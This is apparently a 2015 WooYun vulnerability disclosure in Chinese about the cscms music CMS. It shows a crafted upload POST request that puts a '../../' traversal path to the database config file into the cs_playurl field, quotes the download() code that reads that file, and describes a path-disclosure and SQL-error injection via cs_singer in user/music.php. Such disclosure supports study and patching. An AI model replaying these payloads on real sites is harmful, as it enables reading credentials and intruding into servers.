2015-04-01: 细节已通知厂商并且等待厂商处理中 2015-04-06: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放 2015-05-31: 细节向核心白帽子及相关领域专家公开 2015-06-10: 细节向普通白帽子公开 2015-06-20: 细节向实习白帽子公开 2015-07-05: 细节向公众公开
有利用条件!烦。
利用条件:1、cms设置使用本机物理路径,就是上传文件存在本机服务器上。2、后台关闭审核功能,或者通过审核。条件1比较好达到,一般都在本机上。条件2需要精心构造一下。漏洞页面:user/music.phpadd_save()函数用来上传歌曲的,这里提交数据包。
cs_name=%E6%B5%8B%E8%AF%95%E7%9A%84%E6%AD%8C%E6%9B%B2&cs_pic=20150401%2F253a23059b45f692bb48515d0efa6c95.jpg&cs_cid=1&cs_tid=0&cs_tags=%E6%8A%92%E6%83%85%2C%E5%A5%BD%E5%90%AC%2C%E6%84%9F%E5%8A%A8&cs_cion=0&cs_singer=&gslist=1&zm=B&cs_singerid=&cs_content=%E5%B0%B1%E6%98%AF%E8%A6%81%E5%85%8D%E8%B4%B9%E5%95%8A%EF%BC%81&cs_playurl=../../wamp/www/csdj/lib/Cs_DB.php&cs_dx=&cs_yz=&cs_sc=&token=665a3d28075f8ed1476afa1d0948ff7a
注意里面的cs_playurl字段,一个目录跳转。这里没有任何限制。通过了审核,或者自动审核的。不管- -下载漏洞文件:app\controllers\dance.php
//数据下载页面 public function download() { header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-cache, must-revalidate"); header("Pragma: no-cache"); $this->load->model('CsdjUser'); $sid = $this->uri->segment(3); //方式,试听,下载 $type = intval($this->uri->segment(4)); //类型,普通,讯雷 $id = intval($this->uri->segment(5)); //ID //CI 根据URL来取得歌曲ID ,就是自己上传的 if(empty($sid)) $sid=='d'; if(empty($type)) $type==1; if($id==0){ //保证存在 exit($this->CsdjSkins->Msg_url('出错了,ID不能为空!',Web_Path)); } if($this->session->userdata('cs_id')){ //要求登录状态 $uid=$this->session->userdata('cs_id'); }else{ $uid=0; } if($this->session->userdata('cs_name')){ //要求登录状态 $user=$this->session->userdata('cs_name'); }else{ $user=''; } if($this->CsdjUser->User_Login(1)){ //要求登录状态 exit($this->CsdjSkins->Msg_url('出错了,请先登入后在下载!',site_url("user/login"))); }else{ $rowu=$this->CsdjDB->get_select('user','CS_ID','CS_Vip,CS_Cion',$uid); $vip=$rowu[0]->CS_Vip; $cion=$rowu[0]->CS_Cion; } $row=$this->CsdjDB->get_select('dance','CS_ID','*',''.$id.''); if(!$row){ exit($this->CsdjSkins->Msg_url('抱歉,该歌曲不存在!',Web_Path)); } if($row[0]->CS_YID==1){ //这就要求是审核的 exit($this->CsdjSkins->Msg_url('抱歉,该歌曲还没有审核!',Web_Path)); } $name=$row[0]->CS_Name; //下面这些没有关系------------------- $cid=$row[0]->CS_CID; $djuser=$row[0]->CS_User; $scion=$row[0]->CS_Scion; $purl=$row[0]->CS_PlayUrl; $durl=$durls=$row[0]->CS_DownUrl1; //获取了之前上传的路径 $durl2=$durl2s=$row[0]->CS_DownUrl2; $fid=$row[0]->CS_FID; $dancehz=substr($durl,-4); if(FTP_Fun==1 && $row[0]->CS_FID==0){ //远程附件 $purl=FTP_Url.$row[0]->CS_PlayUrl; $durl=FTP_Url.$row[0]->CS_DownUrl1; }else{ $purl=$this->CsdjSkins->playqurl($row[0]->CS_PlayUrl,$row[0]->CS_FID,1); $durl=$this->CsdjSkins->playqurl($row[0]->CS_DownUrl1,$row[0]->CS_FID,2); } $rowd=$this->db->query("SELECT CS_ID FROM ".CS_SqlPrefix."down where cs_did='".$id."' and cs_user='".$user."'")->row(); //判断下载时间、低音质不判断 这些不管 if(($sid=='d' && $row[0]->CS_Cion>0) || $row[0]->CS_Vip>0){ //判断级别 if($row[0]->CS_Vip>$vip){ exit($this->CsdjSkins->Msg_url('抱歉,您的级别不够下载该首歌曲,请先升级!',site_url("user/pay/vip/"))); } //判断级别权限 if($vip>0){ $sqlz="SELECT * FROM ".CS_SqlPrefix."userzu where cs_id=".$vip.""; $rowz=$this->CsdjDB->get_all($sqlz); if(!$rowz){ exit($this->CsdjSkins->Msg_url('出错了,该会员组不存在!',site_url("user/pay/vip"))); }else{ if($this->CsdjSkins->Getqx('dance_'.$cid,$rowz[0]->CS_Quanx)!='ok'){ exit($this->CsdjSkins->Msg_url('抱歉,您所在的会员组不能下载该分类歌曲!',site_url("user/pay/vip"))); } } } //扣除点数,VIP会员跳过 if($vip==0){ $downtime=3600*User_Downtime+strtotime($rowd->CS_AddTime); if(!$rowd || $downtime<time()){ //判断点数 if($row[0]->CS_Cion>$cion){ exit($this->CsdjSkins->Msg_url('抱歉,您的点数不够下载该首歌曲,请先充值!',site_url("user/pay/"))); } $us['CS_Cion'] = $cion-$row[0]->CS_Cion; $this->CsdjDB->get_update ('user',$uid,$us); $downsj['down_'.$id.'_time']=date("Y-m-d H:i:s"); $this->session->set_userdata($downsj); } } //判断是否分成 if(User_DownFun==1 && $vip==0){ if($scion==0){ $fcbl=User_Downcion/100; $scion=intval($row[0]->CS_Cion*$fcbl); } //分成点数 $djuid = $this->CsdjSkins->getuser('id','',$djuser); $fc['CS_Cion'] = $this->CsdjSkins->getuser('cion','',$djuser)+$scion; $this->CsdjDB->get_update('user',$djuid,$fc); } } if($user && !$rowd){ //没有此歌曲记录 if(empty($row[0]->CS_Cion)) $row[0]->CS_Cion=0; //写入下载记录 $down['CS_User'] = $user; $down['CS_CID'] = $cid; $down['CS_DID'] = $id; $down['CS_Ip'] = $this->CsdjSkins->GetIP(); if($vip==0){ $down['CS_Cion'] = $row[0]->CS_Cion; } $down['CS_Name'] = $name; $down['CS_AddTime'] = date('Y-m-d H:i:s'); $this->CsdjDB->get_insert ('down',$down); //写入动态 $dt['CS_CID']=7; $dt['CS_DID']=$id; $dt['CS_YID']=0; $dt['CS_User']=$this->session->userdata('cs_name'); $dt['CS_Title']=$name; $dt['CS_AddTime']=date('Y-m-d H:i:s'); $this->CsdjDB->get_insert('dt',$dt); } //上面这些没有关系------------------- //增加下载次数 $dance['CS_Xhits'] = $row[0]->CS_Xhits+1; $this->CsdjDB->get_update ('dance',$id,$dance); if(empty($durl)){ $durl=$durl2; //当下载地址为空时,启用备用下载地址 $durls=$durl2s; } if($sid=='p') $durl=$purl; //下载低音质 if($type==2){ //讯雷下载 //讯雷下载开始 if(substr($durl,0,7)!="http://") $durl="http://".Web_Url.Web_Path.$durl; $DownUrl=base64_encode("AA".$durl."ZZ"); $thunderUrl="thunder://".$DownUrl; $thunderID=User_thunderID; //这个是讯雷联盟ID号 echo "<script src='http://pstatic.xunlei.com/js/webThunderDetect.js'></script>"; echo "<script>OnDownloadClick('".$thunderUrl."','',location.href,'".$thunderID."',false)</script>"; exit(); } //这个过滤有问题,使用../../就可以绕过了 $durl=str_replace("\\","",$durl); //判断开启物理路径 if(User_DirFun==1){ //这个默认是关闭的 if (!file_exists(User_Dirpath.$durls)){ header("Location: ".$durl); //连接下载 exit(); }else{ //漏洞触发了 $this->load->helper('download'); $data = file_get_contents(User_Dirpath.$durls); // 读文件内容 force_download($name.$dancehz, $data); //下载 } die(); }else{ header("Location: ".$durl); die(); } }
因此简单构造就可以下载了。
使用刚才的方式上传一个歌曲,通过。
登录状态访问链接,OK。
现在问题又来了,我怎么知道绝对路径在哪里呢- -这就涉及一个设计上缺陷问题。由于之前cscms被人审的多了,开发重写了CI的input.php文件为MY_Input.php文件。MY_Input.php在输入的时候使用了get_post()函数,会经过safe()函数过滤sql注入。但是在重载的时候没有重写get与post这两个函数,导致其不会经过MY_Input.php中的safe文件,因此不会进行默认的sql注入过滤,仅有一次xss_clean。代码不贴了。因此我们目前就是去找一个使用$this->input->post('xxx',true);又没有经过内置的escape函数的点。很幸运找到了几个。locoy.php 存在爆路径home.php 存在爆路径user/music.php 存在爆路径拿一个举例。user/music.php
public function add_save() { $music['cs_name']=strip_tags($this->input->post('cs_name', TRUE)); //名称 $music['cs_cid']=intval($this->input->post('cs_cid', TRUE)); //分类 $music['cs_tid']=intval($this->input->post('cs_tid', TRUE)); //专集 $music['cs_tags']=strip_tags($this->input->post('cs_tags', TRUE)); //关键词 $music['cs_cion']=intval($this->input->post('cs_cion', TRUE)); //金币 $music['cs_singerid']=intval($this->input->post('cs_singerid', TRUE)); //歌手 $music['cs_singer']=trim($this->CsdjSkins->uhtml($this->input->post('cs_singer', TRUE))); //歌手 //这个位置使用post函数获取数据,使用TRUE进行XSS_CLEAN。 $music['cs_content']=$this->CsdjSkins->uhtml($this->input->post('cs_content')); //歌词/介绍 $music['cs_playurl']=$this->CsdjSkins->str_checkhtml($this->input->post('cs_playurl', TRUE)); //播放地址 $music['cs_dx']=$this->CsdjSkins->str_checkhtml($this->input->post('cs_dx', TRUE)); //歌曲大小 $music['cs_yz']=$this->CsdjSkins->str_checkhtml($this->input->post('cs_yz', TRUE)); //歌曲音质 $music['cs_sc']=$this->CsdjSkins->str_checkhtml($this->input->post('cs_sc', TRUE)); //歌曲时长 $music['cs_pic']=$this->CsdjSkins->str_checkhtml($this->input->post('cs_pic', TRUE)); //歌曲图片 //token check $token=$this->input->post('token', TRUE); if(!$this->session->userdata('token') || $token!=$this->session->userdata('token')) $this->CsdjSkins->Msg_url('非法提交数据!','javascript:history.back();'); if(empty($music['cs_name'])) $this->CsdjSkins->Msg_url('歌曲名称不能为空!','javascript:history.back();'); if(empty($music['cs_cid']) || $music['cs_cid']==0) $this->CsdjSkins->Msg_url('请选择歌曲分类!','javascript:history.back();'); if(empty($music['cs_playurl'])) $this->CsdjSkins->Msg_url('请选上传歌曲!','javascript:history.back();'); if($music['cs_singerid']>0){ //判断歌手 $sql="SELECT CS_Name FROM ".CS_SqlPrefix."singer where cs_id=".$music['cs_singerid'].""; $row=$this->CsdjDB->get_all($sql); if(!$row){ $music['cs_singerid']=0; }else{ $music['cs_singer']=$row[0]->CS_Name; } }else{ //自定义歌手 $sql="SELECT CS_ID FROM ".CS_SqlPrefix."singer where cs_name='".$music['cs_singer']."'"; //这个位置直接带入了,可以用来报错了。 $row=$this->CsdjDB->get_all($sql); if($row){ $music['cs_singerid']=$row[0]->CS_ID; }else{
由于xss_clean处理了单引号,但是没有处理\ ,导致了可以报错。一直想拿一个双变量的来注入,就是找不到。还是刚才的post数据包:
成功爆了路径。
防止跳转目录修改一下输入函数两个问题合并了。- -
危害等级:无影响厂商忽略
忽略时间:2015-07-05 16:23
漏洞Rank:4 (WooYun评价)
暂无